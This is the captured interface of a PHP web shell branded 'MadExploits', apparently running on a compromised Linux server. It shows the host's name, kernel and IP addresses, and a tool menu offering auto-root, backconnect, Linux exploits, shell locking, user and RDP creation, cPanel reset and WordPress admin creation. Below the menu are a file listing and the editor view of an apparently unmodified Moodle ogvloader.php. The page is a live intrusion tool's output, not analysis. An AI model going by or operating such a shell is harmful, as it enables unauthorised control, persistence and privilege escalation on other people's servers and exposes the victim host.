Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.44
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
media /
player /
videojs /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
ogvjs
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
videojs
[ DIR ]
drwxr-xr-x
ogvloader.php
6.93
KB
-rw-r--r--
readme_moodle.txt
2.4
KB
-rw-r--r--
settings.php
2.74
KB
-rw-r--r--
styles.css
45.91
KB
-rw-r--r--
thirdpartylibs.xml
1.82
KB
-rw-r--r--
version.php
1.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ogvloader.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file is serving optimised JS and WASM for ogv.js. * * @package media_videojs * @copyright 2021 Huong Nguyen <huongnv13@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // Disable moodle specific debug messages and any errors in output, // comment out when debugging or better look into error log! define('NO_DEBUG_DISPLAY', true); // We need just the values from config.php and minlib.php. define('ABORT_AFTER_CONFIG', true); require_once('../../../config.php'); // This stops immediately at the beginning of lib/setup.php. require_once($CFG->dirroot . '/lib/jslib.php'); require_once($CFG->dirroot . '/lib/wasmlib.php'); $slashargument = min_get_slash_argument(); if (!$slashargument) { // The above call to min_get_slash_argument should always work. die('Invalid request'); } $slashargument = ltrim($slashargument, '/'); if (substr_count($slashargument, '/') < 1) { header('HTTP/1.0 404 not found'); die('Slash argument must contain both a revision and a file path'); } // Get all the library files (js and wasm) of the OGV. $basepath = $CFG->dirroot . '/media/player/videojs/ogvjs/'; $jsfiles = []; $files = glob("{$basepath}*.{js,wasm}", GLOB_BRACE); foreach ($files as $file) { $jsfiles[] = basename($file); } // Split into revision and module name. list($rev, $file) = explode('/', $slashargument, 2); $rev = min_clean_param($rev, 'INT'); $file = min_clean_param($file, 'SAFEPATH'); if (empty($jsfiles) || !in_array($file, $jsfiles)) { // We can't find the requested file. header('HTTP/1.0 404 not found'); exit(0); } // Check if the requesting file is Javascript or Web Assembly. $iswasm = media_videojs_ogvloader_is_wasm_file($file); // Use the caching only for meaningful revision numbers which prevents future cache poisoning. if ($rev > 0 and $rev < (time() + 60 * 60)) { // We are lazy loading a single file - so include the filename in the etag. $etag = sha1($rev . '/' . $file); $candidate = $CFG->localcachedir . '/ogvloader/' . $etag; if (file_exists($candidate)) { // Cache exist. if (!empty($_SERVER['HTTP_IF_NONE_MATCH']) || !empty($_SERVER['HTTP_IF_MODIFIED_SINCE'])) { // We do not actually need to verify the etag value because our files // never change in cache because we increment the rev parameter. media_videojs_ogvloader_send_unmodified($iswasm, $candidate, $etag); } media_videojs_ogvloader_send_cached($iswasm, $candidate, $etag); exit(0); } else { // Cache does not exist. Create one. $filecontent = file_get_contents($basepath . $file); if ($filecontent === false) { error_log('Failed to load the library ' . $file); $filecontent = "/* Failed to load library file {$file}. */\n"; } $filecontent = media_videojs_ogvloader_add_module_module_name_if_necessary($iswasm, $filecontent); media_videojs_ogvloader_write_cache_file_content($iswasm, $candidate, $filecontent); // Verify nothing failed in cache file creation. clearstatcache(); if (file_exists($candidate)) { media_videojs_ogvloader_send_cached($iswasm, $candidate, $etag); exit(0); } } } // If we've made it here then we're in "dev mode" where everything is lazy loaded. // So all files will be served one at a time. $filecontent = file_get_contents($basepath . $file); $filecontent = rtrim($filecontent); $filecontent = media_videojs_ogvloader_add_module_module_name_if_necessary($iswasm, $filecontent); media_videojs_ogvloader_send_uncached($iswasm, $filecontent); /** * Check the given file is a Web Assembly file or not * * @param string $filename File name to check * @return bool Whether the file is Web Assembly or not */ function media_videojs_ogvloader_is_wasm_file(string $filename): bool { $ext = pathinfo($filename, PATHINFO_EXTENSION); return $ext == 'wasm'; } /** * Add Moodle module name to the Javascript module if necessary * * @param bool $iswasm Whether the file is Web Assembly or not * @param string $content File content * @return string */ function media_videojs_ogvloader_add_module_module_name_if_necessary(bool $iswasm, string $content): string { if (!$iswasm && preg_match('/define\(\s*(\[|function)/', $content)) { // If the JavaScript module has been defined without specifying a name then we'll // add the Moodle module name now. $replace = 'define(\'media_videojs/video-lazy\', '; $search = 'define('; // Replace only the first occurrence. $content = implode($replace, explode($search, $content, 2)); } return $content; } /** * Create cache file content * * @param bool $iswasm Whether the file is Web Assembly or not * @param string $candidate Full file path to cache file * @param string $filecontent File content */ function media_videojs_ogvloader_write_cache_file_content(bool $iswasm, string $candidate, string $filecontent): void { $iswasm ? wasm_write_cache_file_content($candidate, $filecontent) : js_write_cache_file_content($candidate, $filecontent); } /** * Send file content with as much caching as possible * * @param bool $iswasm Whether the file is Web Assembly or not * @param string $candidate Full file path to cache file * @param string $etag Etag */ function media_videojs_ogvloader_send_cached(bool $iswasm, string $candidate, string $etag): void { $iswasm ? wasm_send_cached($candidate, $etag, 'ogvloader.php') : js_send_cached($candidate, $etag, 'ogvloader.php'); } /** * Send file without any caching * * @param bool $iswasm Whether the file is Web Assembly or not * @param string $ilecontent File content */ function media_videojs_ogvloader_send_uncached(bool $iswasm, string $ilecontent): void { $iswasm ? wasm_send_uncached($ilecontent, 'ogvloader.php') : js_send_uncached($ilecontent, 'ogvloader.php'); } /** * Send the file not modified headers * * @param bool $iswasm Whether the file is Web Assembly or not * @param int $candidate Full file path to cache file * @param string $etag Etag */ function media_videojs_ogvloader_send_unmodified(bool $iswasm, int $candidate, string $etag): void { $iswasm ? wasm_send_unmodified(filemtime($candidate), $etag) : js_send_unmodified(filemtime($candidate), $etag); }
Close